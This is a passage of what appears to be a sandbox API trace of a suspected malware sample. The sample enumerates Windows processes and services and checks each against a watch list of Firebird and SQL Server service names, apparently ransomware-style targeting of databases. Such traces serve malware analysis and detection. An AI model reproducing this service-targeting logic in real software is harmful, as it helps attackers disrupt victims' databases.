(lpString="SecurityHealthService") returned 21 [0301.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0301.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0301.609] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0301.609] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0301.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0301.610] lstrlenW (lpString="SENS") returned 4 [0301.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0301.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0301.610] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0301.610] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0301.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0301.610] lstrlenW (lpString="ShellHWDetection") returned 16 [0301.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0301.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0301.610] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0301.610] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0301.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0301.610] lstrlenW (lpString="Spooler") returned 7 [0301.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0301.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0301.610] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0301.610] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0301.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0301.610] lstrlenW (lpString="SSDPSRV") returned 7 [0301.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0301.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0301.610] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0301.610] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0301.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0301.610] lstrlenW (lpString="StateRepository") returned 15 [0301.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0301.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0301.610] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0301.610] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0301.610] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0301.610] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x564 [0301.613] Process32FirstW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0301.614] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x96, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0301.615] lstrlenW (lpString="System") returned 6 [0301.615] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0301.615] lstrlenW (lpString="smss.exe") returned 8 [0301.615] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0301.616] lstrlenW (lpString="csrss.exe") returned 9 [0301.616] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0301.617] lstrlenW (lpString="wininit.exe") returned 11 [0301.617] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0301.617] lstrlenW (lpString="csrss.exe") returned 9 [0301.617] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0301.618] lstrlenW (lpString="winlogon.exe") returned 12 [0301.618] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0301.619] lstrlenW (lpString="services.exe") returned 12 [0301.619] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0301.620] lstrlenW (lpString="lsass.exe") returned 9 [0301.620] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0301.620] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0301.620] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0301.621] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0301.621] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.622] lstrlenW (lpString="svchost.exe") returned 11 [0301.622] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.622] lstrlenW (lpString="svchost.exe") returned 11 [0301.623] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0301.623] lstrlenW (lpString="dwm.exe") returned 7 [0301.623] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.624] lstrlenW (lpString="svchost.exe") returned 11 [0301.624] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.625] lstrlenW (lpString="svchost.exe") returned 11 [0301.625] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.625] lstrlenW (lpString="svchost.exe") returned 11 [0301.625] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.626] lstrlenW (lpString="svchost.exe") returned 11 [0301.626] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.627] lstrlenW (lpString="svchost.exe") returned 11 [0301.627] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.628] lstrlenW (lpString="svchost.exe") returned 11 [0301.628] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.629] lstrlenW (lpString="svchost.exe") returned 11 [0301.629] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.629] lstrlenW (lpString="svchost.exe") returned 11 [0301.629] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.630] lstrlenW (lpString="svchost.exe") returned 11 [0301.630] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.631] lstrlenW (lpString="svchost.exe") returned 11 [0301.631] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0301.631] lstrlenW (lpString="spoolsv.exe") returned 11 [0301.631] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0301.632] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0301.632] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0301.633] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0301.633] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0301.633] lstrlenW (lpString="Memory Compression") returned 18 [0301.633] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.634] lstrlenW (lpString="svchost.exe") returned 11 [0301.634] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0301.651] lstrlenW (lpString="audiodg.exe") returned 11 [0301.651] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0301.651] lstrlenW (lpString="sihost.exe") returned 10 [0301.651] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.652] lstrlenW (lpString="svchost.exe") returned 11 [0301.652] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0301.653] lstrlenW (lpString="taskhostw.exe") returned 13 [0301.653] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0301.654] lstrlenW (lpString="explorer.exe") returned 12 [0301.654] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0301.655] lstrlenW (lpString="SearchUI.exe") returned 12 [0301.655] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0301.655] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0301.655] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0301.656] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0301.656] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0301.657] lstrlenW (lpString="1csrss.exe") returned 10 [0301.657] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.657] lstrlenW (lpString="svchost.exe") returned 11 [0301.657] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0301.658] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0301.658] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0301.660] lstrlenW (lpString="svchost.exe") returned 11 [0301.660] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0301.661] lstrlenW (lpString="consent.exe") returned 11 [0301.661] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0301.661] CloseHandle (hObject=0x564) returned 1 [0301.661] Sleep (dwMilliseconds=0x1f4) [0302.186] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddc78 [0302.186] EnumServicesStatusExW (in: hSCManager=0x7ddc78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0302.186] GetLastError () returned 0xea [0302.186] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0302.186] EnumServicesStatusExW (in: hSCManager=0x7ddc78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0302.187] CloseServiceHandle (hSCObject=0x7ddc78) returned 1 [0302.187] lstrlenW (lpString="Appinfo") returned 7 [0302.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0302.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0302.187] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0302.187] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0302.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0302.187] lstrlenW (lpString="AppXSvc") returned 7 [0302.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0302.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0302.187] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0302.188] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0302.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0302.188] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0302.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0302.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0302.188] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0302.188] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0302.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0302.188] lstrlenW (lpString="Audiosrv") returned 8 [0302.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0302.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0302.188] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0302.188] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0302.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0302.188] lstrlenW (lpString="BFE") returned 3 [0302.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0302.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0302.188] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0302.188] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0302.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0302.188] lstrlenW (lpString="BITS") returned 4 [0302.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0302.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0302.193] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0302.193] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0302.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0302.193] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0302.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0302.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0302.193] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0302.193] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0302.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0302.194] lstrlenW (lpString="CDPSvc") returned 6 [0302.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0302.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0302.194] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0302.194] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0302.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0302.194] lstrlenW (lpString="ClickToRunSvc") returned 13 [0302.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0302.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0302.194] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0302.194] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0302.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0302.194] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0302.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0302.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0302.194] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0302.194] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0302.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0302.194] lstrlenW (lpString="CryptSvc") returned 8 [0302.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0302.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0302.194] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0302.194] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0302.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0302.194] lstrlenW (lpString="DcomLaunch") returned 10 [0302.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0302.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0302.194] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0302.194] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0302.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0302.194] lstrlenW (lpString="DeviceAssociationService") returned 24 [0302.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0302.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0302.226] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0302.226] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0302.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0302.226] lstrlenW (lpString="Dhcp") returned 4 [0302.226] lstrcmpiW 